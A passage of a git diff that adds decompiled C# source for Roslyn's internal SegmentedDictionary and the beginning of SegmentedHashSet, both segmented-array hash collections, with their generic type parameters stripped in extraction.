+ internal TestAccessor GetTestAccessor() + { + return new TestAccessor(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedDictionary.cs new file mode 100644 index 0000000..8dcf1e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedDictionary.cs @@ -0,0 +1,1307 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +[DebuggerTypeProxy(typeof(IDictionaryDebugView<, >))] +[DebuggerDisplay("Count = {Count}")] +internal sealed class SegmentedDictionary : IDictionary, ICollection>, IEnumerable>, IEnumerable, IDictionary, ICollection, IReadOnlyDictionary, IReadOnlyCollection> where TKey : notnull +{ + private struct Entry + { + public uint _hashCode; + + public int _next; + + public TKey _key; + + public TValue _value; + } + + public struct Enumerator : IEnumerator>, IEnumerator, IDisposable, IDictionaryEnumerator + { + private readonly SegmentedDictionary _dictionary; + + private readonly int _version; + + private int _index; + + private KeyValuePair _current; + + private readonly int _getEnumeratorRetType; + + internal const int DictEntry = 1; + + internal const int KeyValuePair = 2; + + public readonly KeyValuePair Current => _current; + + readonly object? IEnumerator.Current + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + KeyValuePair current; + if (_getEnumeratorRetType == 1) + { + current = _current; + object key = current.Key; + current = _current; + return new DictionaryEntry(key, current.Value); + } + current = _current; + TKey key2 = current.Key; + current = _current; + return new KeyValuePair(key2, current.Value); + } + } + + readonly DictionaryEntry IDictionaryEnumerator.Entry + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + KeyValuePair current = _current; + object key = current.Key; + current = _current; + return new DictionaryEntry(key, current.Value); + } + } + + readonly object IDictionaryEnumerator.Key + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + KeyValuePair current = _current; + return current.Key; + } + } + + readonly object? IDictionaryEnumerator.Value + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + KeyValuePair current = _current; + return current.Value; + } + } + + internal Enumerator(SegmentedDictionary dictionary, int getEnumeratorRetType) + { + _dictionary = dictionary; + _version = dictionary._version; + _index = 0; + _getEnumeratorRetType = getEnumeratorRetType; + _current = default(KeyValuePair); + } + + public bool MoveNext() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + while ((uint)_index < (uint)_dictionary._count) + { + ref Entry reference = ref _dictionary._entries[_index++]; + if (reference._next >= -1) + { + _current = new KeyValuePair(reference._key, reference._value); + return true; + } + } + _index = _dictionary._count + 1; + _current = default(KeyValuePair); + return false; + } + + public readonly void Dispose() + { + } + + void IEnumerator.Reset() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = 0; + _current = default(KeyValuePair); + } + } + + [DebuggerTypeProxy(typeof(DictionaryKeyCollectionDebugView<, >))] + [DebuggerDisplay("Count = {Count}")] + public sealed class KeyCollection : ICollection, IEnumerable, IEnumerable, ICollection, IReadOnlyCollection + { + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedDictionary _dictionary; + + private int _index; + + private readonly int _version; + + private TKey? _currentKey; + + public readonly TKey Current => _currentKey; + + readonly object? IEnumerator.Current + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + return _currentKey; + } + } + + internal Enumerator(SegmentedDictionary dictionary) + { + _dictionary = dictionary; + _version = dictionary._version; + _index = 0; + _currentKey = default(TKey); + } + + public readonly void Dispose() + { + } + + public bool MoveNext() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + while ((uint)_index < (uint)_dictionary._count) + { + ref Entry reference = ref _dictionary._entries[_index++]; + if (reference._next >= -1) + { + _currentKey = reference._key; + return true; + } + } + _index = _dictionary._count + 1; + _currentKey = default(TKey); + return false; + } + + void IEnumerator.Reset() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = 0; + _currentKey = default(TKey); + } + } + + private readonly SegmentedDictionary _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => true; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + public KeyCollection(SegmentedDictionary dictionary) + { + if (dictionary == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.dictionary); + } + _dictionary = dictionary; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_dictionary); + } + + public void CopyTo(TKey[] array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (index < 0 || index > array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < _dictionary.Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + int count = _dictionary._count; + SegmentedArray entries = _dictionary._entries; + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + array[index++] = entries[i]._key; + } + } + } + + void ICollection.Add(TKey item) + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_KeyCollectionSet); + } + + void ICollection.Clear() + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_KeyCollectionSet); + } + + bool ICollection.Contains(TKey item) + { + return _dictionary.ContainsKey(item); + } + + bool ICollection.Remove(TKey item) + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_KeyCollectionSet); + return false; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(_dictionary); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(_dictionary); + } + + void ICollection.CopyTo(Array array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (array.Rank != 1) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_RankMultiDimNotSupported); + } + if (array.GetLowerBound(0) != 0) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_NonZeroLowerBound); + } + if ((uint)index > (uint)array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < _dictionary.Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + if (array is TKey[] array2) + { + CopyTo(array2, index); + return; + } + object[] array3 = array as object[]; + if (array3 == null) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + int count = _dictionary._count; + SegmentedArray entries = _dictionary._entries; + try + { + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + array3[index++] = entries[i]._key; + } + } + } + catch (ArrayTypeMismatchException) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + } + } + + [DebuggerTypeProxy(typeof(DictionaryValueCollectionDebugView<, >))] + [DebuggerDisplay("Count = {Count}")] + public sealed class ValueCollection : ICollection, IEnumerable, IEnumerable, ICollection, IReadOnlyCollection + { + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedDictionary _dictionary; + + private int _index; + + private readonly int _version; + + private TValue? _currentValue; + + public readonly TValue Current => _currentValue; + + readonly object? IEnumerator.Current + { + get + { + if (_index == 0 || _index == _dictionary._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + return _currentValue; + } + } + + internal Enumerator(SegmentedDictionary dictionary) + { + _dictionary = dictionary; + _version = dictionary._version; + _index = 0; + _currentValue = default(TValue); + } + + public readonly void Dispose() + { + } + + public bool MoveNext() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + while ((uint)_index < (uint)_dictionary._count) + { + ref Entry reference = ref _dictionary._entries[_index++]; + if (reference._next >= -1) + { + _currentValue = reference._value; + return true; + } + } + _index = _dictionary._count + 1; + _currentValue = default(TValue); + return false; + } + + void IEnumerator.Reset() + { + if (_version != _dictionary._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = 0; + _currentValue = default(TValue); + } + } + + private readonly SegmentedDictionary _dictionary; + + public int Count => _dictionary.Count; + + bool ICollection.IsReadOnly => true; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => ((ICollection)_dictionary).SyncRoot; + + public ValueCollection(SegmentedDictionary dictionary) + { + if (dictionary == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.dictionary); + } + _dictionary = dictionary; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_dictionary); + } + + public void CopyTo(TValue[] array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if ((uint)index > array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < _dictionary.Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + int count = _dictionary._count; + SegmentedArray entries = _dictionary._entries; + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + array[index++] = entries[i]._value; + } + } + } + + void ICollection.Add(TValue item) + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ValueCollectionSet); + } + + bool ICollection.Remove(TValue item) + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ValueCollectionSet); + return false; + } + + void ICollection.Clear() + { + ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ValueCollectionSet); + } + + bool ICollection.Contains(TValue item) + { + return _dictionary.ContainsValue(item); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(_dictionary); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(_dictionary); + } + + void ICollection.CopyTo(Array array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (array.Rank != 1) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_RankMultiDimNotSupported); + } + if (array.GetLowerBound(0) != 0) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_NonZeroLowerBound); + } + if ((uint)index > (uint)array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < _dictionary.Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + if (array is TValue[] array2) + { + CopyTo(array2, index); + return; + } + object[] array3 = array as object[]; + if (array3 == null) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + int count = _dictionary._count; + SegmentedArray entries = _dictionary._entries; + try + { + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + array3[index++] = entries[i]._value; + } + } + } + catch (ArrayTypeMismatchException) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + } + } + + private const bool SupportsComparerDevirtualization = false; + + private SegmentedArray _buckets; + + private SegmentedArray _entries; + + private ulong _fastModMultiplier; + + private int _count; + + private int _freeList; + + private int _freeCount; + + private int _version; + + private readonly IEqualityComparer _comparer; + + private KeyCollection? _keys; + + private ValueCollection? _values; + + private const int StartOfFreeList = -3; + + public IEqualityComparer Comparer => _comparer ?? EqualityComparer.Default; + + public int Count => _count - _freeCount; + + public KeyCollection Keys => _keys ?? (_keys = new KeyCollection(this)); + + ICollection IDictionary.Keys => Keys; + + IEnumerable IReadOnlyDictionary.Keys => Keys; + + public ValueCollection Values => _values ?? (_values = new ValueCollection(this)); + + ICollection IDictionary.Values => Values; + + IEnumerable IReadOnlyDictionary.Values => Values; + + public TValue this[TKey key] + { + get + { + ref TValue reference = ref FindValue(key); + if (!RoslynUnsafe.IsNullRef(ref reference)) + { + return reference; + } + ThrowHelper.ThrowKeyNotFoundException(key); + return default(TValue); + } + set + { + TryInsert(key, value, InsertionBehavior.OverwriteExisting); + } + } + + bool ICollection>.IsReadOnly => false; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => this; + + bool IDictionary.IsFixedSize => false; + + bool IDictionary.IsReadOnly => false; + + ICollection IDictionary.Keys => Keys; + + ICollection IDictionary.Values => Values; + + object? IDictionary.this[object key] + { + get + { + if (IsCompatibleKey(key)) + { + ref TValue reference = ref FindValue((TKey)key); + if (!RoslynUnsafe.IsNullRef(ref reference)) + { + return reference; + } + } + return null; + } + set + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + ThrowHelper.IfNullAndNullsAreIllegalThenThrow(value, ExceptionArgument.value); + try + { + TKey key2 = (TKey)key; + try + { + this[key2] = (TValue)value; + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongValueTypeArgumentException(value, typeof(TValue)); + } + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongKeyTypeArgumentException(key, typeof(TKey)); + } + } + } + + public SegmentedDictionary() + : this(0, (IEqualityComparer?)null) + { + } + + public SegmentedDictionary(int capacity) + : this(capacity, (IEqualityComparer?)null) + { + } + + public SegmentedDictionary(IEqualityComparer? comparer) + : this(0, comparer) + { + } + + public SegmentedDictionary(int capacity, IEqualityComparer? comparer) + { + if (capacity < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity); + } + if (capacity > 0) + { + Initialize(capacity); + } + if (comparer != null && comparer != EqualityComparer.Default) + { + _comparer = comparer; + } + if (_comparer == null) + { + _comparer = EqualityComparer.Default; + } + } + + public SegmentedDictionary(IDictionary dictionary) + : this(dictionary, (IEqualityComparer?)null) + { + } + + public SegmentedDictionary(IDictionary dictionary, IEqualityComparer? comparer) + : this(dictionary?.Count ?? 0, comparer) + { + if (dictionary == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.dictionary); + } + if (dictionary.GetType() == typeof(SegmentedDictionary)) + { + SegmentedDictionary obj = (SegmentedDictionary)dictionary; + int count = obj._count; + SegmentedArray entries = obj._entries; + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + Add(entries[i]._key, entries[i]._value); + } + } + return; + } + foreach (KeyValuePair item in dictionary) + { + Add(item.Key, item.Value); + } + } + + public SegmentedDictionary(IEnumerable> collection) + : this(collection, (IEqualityComparer?)null) + { + } + + public SegmentedDictionary(IEnumerable> collection, IEqualityComparer? comparer) + : this((collection as ICollection>)?.Count ?? 0, comparer) + { + if (collection == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.collection); + } + foreach (KeyValuePair item in collection) + { + Add(item.Key, item.Value); + } + } + + public void Add(TKey key, TValue value) + { + TryInsert(key, value, InsertionBehavior.ThrowOnExisting); + } + + void ICollection>.Add(KeyValuePair keyValuePair) + { + Add(keyValuePair.Key, keyValuePair.Value); + } + + bool ICollection>.Contains(KeyValuePair keyValuePair) + { + ref TValue reference = ref FindValue(keyValuePair.Key); + if (!RoslynUnsafe.IsNullRef(ref reference) && EqualityComparer.Default.Equals(reference, keyValuePair.Value)) + { + return true; + } + return false; + } + + bool ICollection>.Remove(KeyValuePair keyValuePair) + { + ref TValue reference = ref FindValue(keyValuePair.Key); + if (!RoslynUnsafe.IsNullRef(ref reference) && EqualityComparer.Default.Equals(reference, keyValuePair.Value)) + { + Remove(keyValuePair.Key); + return true; + } + return false; + } + + public void Clear() + { + int count = _count; + if (count > 0) + { + SegmentedArray.Clear(_buckets, 0, _buckets.Length); + _count = 0; + _freeList = -1; + _freeCount = 0; + SegmentedArray.Clear(_entries, 0, count); + } + } + + public bool ContainsKey(TKey key) + { + return !RoslynUnsafe.IsNullRef(ref FindValue(key)); + } + + public bool ContainsValue(TValue value) + { + SegmentedArray entries = _entries; + if (value == null) + { + for (int i = 0; i < _count; i++) + { + if (entries[i]._next >= -1 && entries[i]._value == null) + { + return true; + } + } + } + else + { + EqualityComparer equalityComparer = EqualityComparer.Default; + for (int j = 0; j < _count; j++) + { + if (entries[j]._next >= -1 && equalityComparer.Equals(entries[j]._value, value)) + { + return true; + } + } + } + return false; + } + + private void CopyTo(KeyValuePair[] array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if ((uint)index > (uint)array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + int count = _count; + SegmentedArray entries = _entries; + for (int i = 0; i < count; i++) + { + if (entries[i]._next >= -1) + { + array[index++] = new KeyValuePair(entries[i]._key, entries[i]._value); + } + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this, 2); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return new Enumerator(this, 2); + } + + private ref TValue FindValue(TKey key) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + ref Entry reference = ref RoslynUnsafe.NullRef(); + if (_buckets.Length > 0) + { + IEqualityComparer comparer = _comparer; + uint hashCode = (uint)comparer.GetHashCode(key); + int bucket = GetBucket(hashCode); + SegmentedArray entries = _entries; + uint num = 0u; + bucket--; + while ((uint)bucket < (uint)entries.Length) + { + reference = ref entries[bucket]; + if (reference._hashCode != hashCode || !comparer.Equals(reference._key, key)) + { + bucket = reference._next; + num++; + if (num <= (uint)entries.Length) + { + continue; + } + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + return ref reference._value; + } + } + return ref RoslynUnsafe.NullRef(); + } + + private int Initialize(int capacity) + { + int prime = HashHelpers.GetPrime(capacity); + SegmentedArray buckets = new SegmentedArray(prime); + SegmentedArray entries = new SegmentedArray(prime); + _freeList = -1; + _fastModMultiplier = HashHelpers.GetFastModMultiplier((uint)prime); + _buckets = buckets; + _entries = entries; + return prime; + } + + private bool TryInsert(TKey key, TValue value, InsertionBehavior behavior) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + if (_buckets.Length == 0) + { + Initialize(0); + } + SegmentedArray entries = _entries; + IEqualityComparer comparer = _comparer; + uint hashCode = (uint)comparer.GetHashCode(key); + uint num = 0u; + ref int bucket = ref GetBucket(hashCode); + int num2 = bucket - 1; + while ((uint)num2 < (uint)entries.Length) + { + if (entries[num2]._hashCode == hashCode && comparer.Equals(entries[num2]._key, key)) + { + switch (behavior) + { + case InsertionBehavior.OverwriteExisting: + entries[num2]._value = value; + return true; + case InsertionBehavior.ThrowOnExisting: + ThrowHelper.ThrowAddingDuplicateWithKeyArgumentException(key); + break; + } + return false; + } + num2 = entries[num2]._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + int num3; + if (_freeCount > 0) + { + num3 = _freeList; + _freeList = -3 - entries[_freeList]._next; + _freeCount--; + } + else + { + int count = _count; + if (count == entries.Length) + { + Resize(); + bucket = ref GetBucket(hashCode); + } + num3 = count; + _count = count + 1; + entries = _entries; + } + ref Entry reference = ref entries[num3]; + reference._hashCode = hashCode; + reference._next = bucket - 1; + reference._key = key; + reference._value = value; + bucket = num3 + 1; + _version++; + return true; + } + + private void Resize() + { + Resize(HashHelpers.ExpandPrime(_count)); + } + + private void Resize(int newSize) + { + SegmentedArray segmentedArray = new SegmentedArray(newSize); + int count = _count; + SegmentedArray.Copy(_entries, segmentedArray, count); + _buckets = new SegmentedArray(newSize); + _fastModMultiplier = HashHelpers.GetFastModMultiplier((uint)newSize); + for (int i = 0; i < count; i++) + { + if (segmentedArray[i]._next >= -1) + { + ref int bucket = ref GetBucket(segmentedArray[i]._hashCode); + segmentedArray[i]._next = bucket - 1; + bucket = i + 1; + } + } + _entries = segmentedArray; + } + + public bool Remove(TKey key) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + if (_buckets.Length > 0) + { + uint num = 0u; + uint num2 = (uint)(_comparer?.GetHashCode(key) ?? key.GetHashCode()); + ref int bucket = ref GetBucket(num2); + SegmentedArray entries = _entries; + int num3 = -1; + int num4 = bucket - 1; + while (num4 >= 0) + { + ref Entry reference = ref entries[num4]; + if (reference._hashCode == num2 && (_comparer?.Equals(reference._key, key) ?? EqualityComparer.Default.Equals(reference._key, key))) + { + if (num3 < 0) + { + bucket = reference._next + 1; + } + else + { + entries[num3]._next = reference._next; + } + reference._next = -3 - _freeList; + reference._key = default(TKey); + reference._value = default(TValue); + _freeList = num4; + _freeCount++; + return true; + } + num3 = num4; + num4 = reference._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + } + return false; + } + + public bool Remove(TKey key, [MaybeNullWhen(false)] out TValue value) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + if (_buckets.Length > 0) + { + uint num = 0u; + uint num2 = (uint)(_comparer?.GetHashCode(key) ?? key.GetHashCode()); + ref int bucket = ref GetBucket(num2); + SegmentedArray entries = _entries; + int num3 = -1; + int num4 = bucket - 1; + while (num4 >= 0) + { + ref Entry reference = ref entries[num4]; + if (reference._hashCode == num2 && (_comparer?.Equals(reference._key, key) ?? EqualityComparer.Default.Equals(reference._key, key))) + { + if (num3 < 0) + { + bucket = reference._next + 1; + } + else + { + entries[num3]._next = reference._next; + } + value = reference._value; + reference._next = -3 - _freeList; + reference._key = default(TKey); + reference._value = default(TValue); + _freeList = num4; + _freeCount++; + return true; + } + num3 = num4; + num4 = reference._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + } + value = default(TValue); + return false; + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + ref TValue reference = ref FindValue(key); + if (!RoslynUnsafe.IsNullRef(ref reference)) + { + value = reference; + return true; + } + value = default(TValue); + return false; + } + + public bool TryAdd(TKey key, TValue value) + { + return TryInsert(key, value, InsertionBehavior.None); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int index) + { + CopyTo(array, index); + } + + void ICollection.CopyTo(Array array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (array.Rank != 1) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_RankMultiDimNotSupported); + } + if (array.GetLowerBound(0) != 0) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_NonZeroLowerBound); + } + if ((uint)index > (uint)array.Length) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (array.Length - index < Count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + if (array is KeyValuePair[] array2) + { + CopyTo(array2, index); + return; + } + if (array is DictionaryEntry[] array3) + { + SegmentedArray entries = _entries; + for (int i = 0; i < _count; i++) + { + if (entries[i]._next >= -1) + { + array3[index++] = new DictionaryEntry(entries[i]._key, entries[i]._value); + } + } + return; + } + object[] array4 = array as object[]; + if (array4 == null) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + try + { + int count = _count; + SegmentedArray entries2 = _entries; + for (int j = 0; j < count; j++) + { + if (entries2[j]._next >= -1) + { + array4[index++] = new KeyValuePair(entries2[j]._key, entries2[j]._value); + } + } + } + catch (ArrayTypeMismatchException) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(this, 2); + } + + public int EnsureCapacity(int capacity) + { + if (capacity < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity); + } + int length = _entries.Length; + if (length >= capacity) + { + return length; + } + _version++; + if (_buckets.Length == 0) + { + return Initialize(capacity); + } + int prime = HashHelpers.GetPrime(capacity); + Resize(prime); + return prime; + } + + public void TrimExcess() + { + TrimExcess(Count); + } + + public void TrimExcess(int capacity) + { + if (capacity < Count) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity); + } + int prime = HashHelpers.GetPrime(capacity); + SegmentedArray entries = _entries; + int length = entries.Length; + if (prime >= length) + { + return; + } + int count = _count; + _version++; + Initialize(prime); + SegmentedArray entries2 = _entries; + int num = 0; + for (int i = 0; i < count; i++) + { + uint hashCode = entries[i]._hashCode; + if (entries[i]._next >= -1) + { + ref Entry reference = ref entries2[num]; + reference = entries[i]; + ref int bucket = ref GetBucket(hashCode); + reference._next = bucket - 1; + bucket = num + 1; + num++; + } + } + _count = num; + _freeCount = 0; + } + + private static bool IsCompatibleKey(object key) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + return key is TKey; + } + + void IDictionary.Add(object key, object? value) + { + if (key == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.key); + } + ThrowHelper.IfNullAndNullsAreIllegalThenThrow(value, ExceptionArgument.value); + try + { + TKey key2 = (TKey)key; + try + { + Add(key2, (TValue)value); + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongValueTypeArgumentException(value, typeof(TValue)); + } + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongKeyTypeArgumentException(key, typeof(TKey)); + } + } + + bool IDictionary.Contains(object key) + { + if (IsCompatibleKey(key)) + { + return ContainsKey((TKey)key); + } + return false; + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new Enumerator(this, 1); + } + + void IDictionary.Remove(object key) + { + if (IsCompatibleKey(key)) + { + Remove((TKey)key); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ref int GetBucket(uint hashCode) + { + SegmentedArray buckets = _buckets; + return ref buckets[(int)HashHelpers.FastMod(hashCode, (uint)buckets.Length, _fastModMultiplier)]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedHashSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedHashSet.cs new file mode 100644 index 0000000..83bda04 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedHashSet.cs @@ -0,0 +1,978 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +[DebuggerTypeProxy(typeof(ICollectionDebugView<>))] +[DebuggerDisplay("Count = {Count}")] +internal class SegmentedHashSet : ICollection, IEnumerable, IEnumerable, ISet, IReadOnlyCollection +{ + private struct Entry + { + public int _hashCode; + + public int _next; + + public T _value; + } + + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedHashSet _hashSet; + + private readonly int _version; + + private int _index; + + private T _current; + + public readonly T Current => _current; + + readonly object? IEnumerator.Current + { + get + { + if (_index == 0 || _index == _hashSet._count + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + return _current; + } + } + + internal Enumerator(SegmentedHashSet hashSet) + { + _hashSet = hashSet; + _version = hashSet._version; + _index = 0; + _current = default(T); + } + + public bool MoveNext() + { + if (_version != _hashSet._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + while ((uint)_index < (uint)_hashSet._count) + { + ref Entry reference = ref _hashSet._entries[_index++]; + if (reference._next >= -1) + { + _current = reference._value; + return true; + } + } + _index = _hashSet._count + 1; + _current = default(T); + return false; + } + + public readonly void Dispose() + { + } + + void IEnumerator.Reset() + { + if (_version != _hashSet._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = 0; + _current = default(T); + } + } + + private const bool SupportsComparerDevirtualization = false; + + private const int StackAllocThreshold = 100; + + private const int ShrinkThreshold = 3; + + private const int StartOfFreeList = -3; + + private SegmentedArray _buckets; + + private SegmentedArray _entries; + + private ulong _fastModMultiplier; + + private int _count; + + private int _freeList; + + private int _freeCount; + + private int _version; + + private readonly IEqualityComparer _comparer; + + public int Count => _count - _freeCount; + + bool ICollection.IsReadOnly => false; + + public IEqualityComparer Comparer => _comparer ?? EqualityComparer.Default; + + public SegmentedHashSet() + : this((IEqualityComparer?)null) + { + } + + public SegmentedHashSet(IEqualityComparer? comparer) + { + if (comparer != null && comparer != EqualityComparer.Default) + { + _comparer = comparer; + } + if (_comparer == null) + { + _comparer = EqualityComparer.Default; + } + } + + public SegmentedHashSet(int capacity) + : this(capacity, (IEqualityComparer?)null) + { + } + + public SegmentedHashSet(IEnumerable collection) + : this(collection, (IEqualityComparer?)null) + { + } + + public SegmentedHashSet(IEnumerable collection, IEqualityComparer? comparer) + : this(comparer) + { + if (collection == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.collection); + } 